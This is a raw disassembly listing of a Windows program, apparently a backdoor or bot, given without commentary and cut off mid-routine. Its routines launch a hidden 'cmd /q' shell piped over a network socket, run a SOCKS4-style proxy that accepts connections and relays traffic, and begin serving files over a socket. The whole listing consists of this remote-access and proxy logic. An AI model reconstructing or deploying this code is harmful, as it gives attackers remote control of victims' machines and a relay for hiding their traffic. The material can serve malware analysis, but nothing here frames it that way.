sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_4118A7
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_456024[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_4F5350
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411A79
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4117C1
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B39C ; "-"
call sub_415CB3
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_4117FB
; ---------------------------------------------------------------------------
loc_4117C1: ; CODE XREF: sub_411756+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411B2B
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411802
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B3E4 ; "-"
call sub_415CB3
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4F5380 ; TerminateThread
loc_4117FB: ; CODE XREF: sub_411756+69j
xor eax, eax
jmp loc_4118A2
; ---------------------------------------------------------------------------
loc_411802: ; CODE XREF: sub_411756+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_4F53FC ; WaitForMultipleObjects
sub eax, ebx
jz short loc_41185C
dec eax
jz short loc_411856
dec eax
jz short loc_411842
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B42C ; "-"
call sub_415CB3
pop ecx
pop ecx
jmp short loc_411871
; ---------------------------------------------------------------------------
loc_411842: ; CODE XREF: sub_411756+D5j
mov edi, ds:dword_4F5380
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_411871
; ---------------------------------------------------------------------------
loc_411856: ; CODE XREF: sub_411756+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_411860
; ---------------------------------------------------------------------------
loc_41185C: ; CODE XREF: sub_411756+CFj
push ebx
push dword ptr [esi+14h]
loc_411860: ; CODE XREF: sub_411756+104j
call ds:dword_4F5380 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_4F53C4 ; TerminateProcess
loc_411871: ; CODE XREF: sub_411756+EAj
; sub_411756+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_4F533C
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4E3190 ; closesocket
push esi ; Memory
call _free
pop ecx
push 1
pop eax
loc_4118A2: ; CODE XREF: sub_411756+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_411756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118A7 proc near ; CODE XREF: sub_411756+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411991
mov ebx, ds:dword_4F53D0
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_4F533C
test eax, eax
jnz short loc_41190A
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B460
jmp short loc_41192A
; ---------------------------------------------------------------------------
loc_41190A: ; CODE XREF: sub_4118A7+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_411932
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B4A0 ; "-"
loc_41192A: ; CODE XREF: sub_4118A7+61j
call sub_415CB3
pop ecx
jmp short loc_411960
; ---------------------------------------------------------------------------
loc_411932: ; CODE XREF: sub_4118A7+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_4119A0
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411995
push offset unk_44B4E0
call sub_415C3F
loc_411960: ; CODE XREF: sub_4118A7+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_41196C
push [ebp+var_4]
call edi ; CloseHandle
loc_41196C: ; CODE XREF: sub_4118A7+BEj
cmp [ebp+var_8], 0
jz short loc_411977
push [ebp+var_8]
call edi ; CloseHandle
loc_411977: ; CODE XREF: sub_4118A7+C9j
mov eax, [esi]
test eax, eax
jz short loc_411980
push eax
call edi ; CloseHandle
loc_411980: ; CODE XREF: sub_4118A7+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41198A
push eax
call edi ; CloseHandle
loc_41198A: ; CODE XREF: sub_4118A7+DEj
push esi ; Memory
call _free
pop ecx
loc_411991: ; CODE XREF: sub_4118A7+1Dj
xor eax, eax
jmp short loc_41199B
; ---------------------------------------------------------------------------
loc_411995: ; CODE XREF: sub_4118A7+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41199B: ; CODE XREF: sub_4118A7+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_4118A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119A0 proc near ; CODE XREF: sub_4118A7+94p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_4F53CC
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_411A5C
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_456020[eax], ecx
call ds:dword_4F533C ; CloseHandle
jmp short loc_411A72
; ---------------------------------------------------------------------------
loc_411A5C: ; CODE XREF: sub_4119A0+9Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B510 ; "-"
call sub_415CB3
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_411A72: ; CODE XREF: sub_4119A0+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4119A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A79 proc near ; DATA XREF: sub_411756+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4F53BC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411AA2: ; CODE XREF: sub_411A79+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_411B0A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411ADD
loc_411AB3: ; CODE XREF: sub_411A79+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411ACD
cmp dl, 0Dh
jz short loc_411ACD
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411ACD: ; CODE XREF: sub_411A79+44j
; sub_411A79+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411AB3
loc_411ADD: ; CODE XREF: sub_411A79+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4E3148 ; send
test eax, eax
jle short loc_411B0A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411AA2
; ---------------------------------------------------------------------------
loc_411B0A: ; CODE XREF: sub_411A79+2Dj
; sub_411A79+79j
mov esi, ds:dword_4F5360
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411B26
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B548 ; "-"
call sub_415CB3
pop ecx
pop ecx
loc_411B26: ; CODE XREF: sub_411A79+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_411A79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B2B proc near ; DATA XREF: sub_411756+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411B44: ; CODE XREF: sub_411B2B+39j
; sub_411B2B+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4E3110 ; recv
test eax, eax
jle loc_411C49
cmp [ebp+var_10], ebx
jbe short loc_411B66
dec [ebp+var_10]
jmp short loc_411B44
; ---------------------------------------------------------------------------
loc_411B66: ; CODE XREF: sub_411B2B+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411C29
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411BD6
cmp al, 7Fh
jz short loc_411BD6
cmp al, 3
jnz short loc_411B91
push ebx
push ebx
call ds:dword_4F5400 ; GenerateConsoleCtrlEvent
jmp short loc_411BFD
; ---------------------------------------------------------------------------
loc_411B91: ; CODE XREF: sub_411B2B+5Aj
cmp al, 15h
jnz short loc_411BB3
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411BE9
; ---------------------------------------------------------------------------
loc_411BB3: ; CODE XREF: sub_411B2B+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411BEA
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411BE9
; ---------------------------------------------------------------------------
loc_411BD6: ; CODE XREF: sub_411B2B+52j
; sub_411B2B+56j
cmp esi, ebx
jbe short loc_411C00
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411BE9: ; CODE XREF: sub_411B2B+86j
; sub_411B2B+A9j
pop ecx
loc_411BEA: ; CODE XREF: sub_411B2B+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4E3148 ; send
test eax, eax
jle short loc_411C49
loc_411BFD: ; CODE XREF: sub_411B2B+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411C00: ; CODE XREF: sub_411B2B+ADj
cmp al, 0Dh
jnz loc_411B44
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_411C49
xor esi, esi
jmp loc_411B44
; ---------------------------------------------------------------------------
loc_411C29: ; CODE XREF: sub_411B2B+47j
cmp [ebp+var_C], ebx
jnz short loc_411C3A
mov [ebp+var_C], 1
jmp loc_411B44
; ---------------------------------------------------------------------------
loc_411C3A: ; CODE XREF: sub_411B2B+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411B44
; ---------------------------------------------------------------------------
loc_411C49: ; CODE XREF: sub_411B2B+2Bj
; sub_411B2B+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411B2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C4E proc near ; DATA XREF: sub_401CC7+2BF8o
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call dword_4E30F8 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4E3178 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_456024[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4E3124 ; bind
test eax, eax
jnz loc_411DF0
push 0Ah
push edi
call dword_4E3120 ; listen
test eax, eax
jnz loc_411DF0
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_44B584 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411D29
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409D34
add esp, 14h
loc_411D29: ; CODE XREF: sub_411C4E+B9j
; sub_411C4E+172j ...
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4E318C ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_44B5AC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 19h ; int
push eax ; Source
call sub_40B756
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_45601C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411E53
push esi
push esi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_45602C[ecx], eax
jz short loc_411DD0
loc_411DBD: ; CODE XREF: sub_411C4E+180j
cmp [ebp+var_28], esi
jnz loc_411D29
push 5
call ds:dword_4F534C ; Sleep
jmp short loc_411DBD
; ---------------------------------------------------------------------------
loc_411DD0: ; CODE XREF: sub_411C4E+16Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_44B5F0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_411D29
; ---------------------------------------------------------------------------
loc_411DF0: ; CODE XREF: sub_411C4E+7Bj
; sub_411C4E+8Cj
push edi
call dword_4E3190 ; closesocket
push [ebp+var_40]
lea eax, [ebp+Source]
push offset asc_44B62C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411E33
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409D34
add esp, 14h
loc_411E33: ; CODE XREF: sub_411C4E+1C3j
lea eax, [ebp+Source]
push eax
call sub_415C3F
push [ebp+var_3C]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_411C4E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E53 proc near ; DATA XREF: sub_411C4E+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_456024[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4E30E0 ; select
test eax, eax
jnz short loc_411ED4
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411ED4: ; CODE XREF: sub_411E53+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4E3110 ; recv
test eax, eax
jg short loc_411F05
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411F05: ; CODE XREF: sub_411E53+98j
cmp [ebp+var_4D0], 4
jnz loc_4120FF
cmp [ebp+var_4CF], 1
jnz loc_4120FF
cmp [ebp+Str2], bl
jz short loc_411F9B
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Dst]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_411F9B
lea eax, [ebp+Str2]
push eax
lea eax, [ebp+Dst]
push eax ; Args
push offset dword_44B660 ; Format
call sub_415CB3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call _memset
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E3148 ; send
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411F9B: ; CODE XREF: sub_411E53+CFj
; sub_411E53+E5j
push 10h ; Size
lea eax, [ebp+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4E3178 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_412033
call dword_4E308C ; WSAGetLastError
push eax ; Args
push offset dword_44B6A0 ; Format
call sub_415CB3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E3148 ; send
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_412033: ; CODE XREF: sub_411E53+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4120A2
call dword_4E308C ; WSAGetLastError
push eax ; Args
push offset dword_44B6E0 ; Format
call sub_415CB3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E3148 ; send
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4120A2: ; CODE XREF: sub_411E53+1F0j
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call _memset
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E3148 ; send
push dword ptr [esi]
push edi
call sub_412117
pop ecx
pop ecx
push edi
call dword_4E3190 ; closesocket
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4120FF: ; CODE XREF: sub_411E53+B9j
; sub_411E53+C6j
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_411E53 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412117 proc near ; CODE XREF: sub_411E53+286p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_41212D: ; CODE XREF: sub_412117+C5j
; sub_412117+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_412145: ; CODE XREF: sub_412117+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_412155
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_412145
loc_412155: ; CODE XREF: sub_412117+33j
cmp ecx, 1
jnz short loc_41216A
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_41216A: ; CODE XREF: sub_412117+41j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4E30E0 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4E2FE4 ; __WSAFDIsSet
test eax, eax
jz short loc_4121CA
push edi
lea eax, [ebp+Dst]
push esi
push eax
push ebx
call dword_4E3110 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412212
push edi
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412212
loc_4121CA: ; CODE XREF: sub_412117+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4E2FE4 ; __WSAFDIsSet
test eax, eax
jz loc_41212D
push edi
lea eax, [ebp+Dst]
push esi
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412212
push edi
push eax
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz loc_41212D
loc_412212: ; CODE XREF: sub_412117+9Aj
; sub_412117+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_412117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412217 proc near ; CODE XREF: sub_412217:loc_412688p
; DATA XREF: sub_401CC7+20FEo ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = dword ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
DstBuf = byte ptr -574h
var_374 = dword ptr -374h
Filename = byte ptr -370h
Str = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
Dest = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
Dst = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4122B7
push 190h
call ds:dword_4F534C ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412297
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409D34
add esp, 14h
loc_412297: ; CODE XREF: sub_412217+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415C3F
push [ebp+var_168]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4122B7: ; CODE XREF: sub_412217+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4E30D8 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4E30D8 ; setsockopt
mov eax, [ebp+var_168]
push 10h ; Size
imul eax, 234h
push ebx ; Val
mov dword_456024[eax], esi
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_160]
call dword_4E30F8 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4E3124 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412341
push 1388h
call ds:dword_4F534C ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_412688
; ---------------------------------------------------------------------------
loc_412341: ; CODE XREF: sub_412217+10Fj
lea eax, [ebp+Filename]
push offset aRb_0 ; "rb"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_4123A7
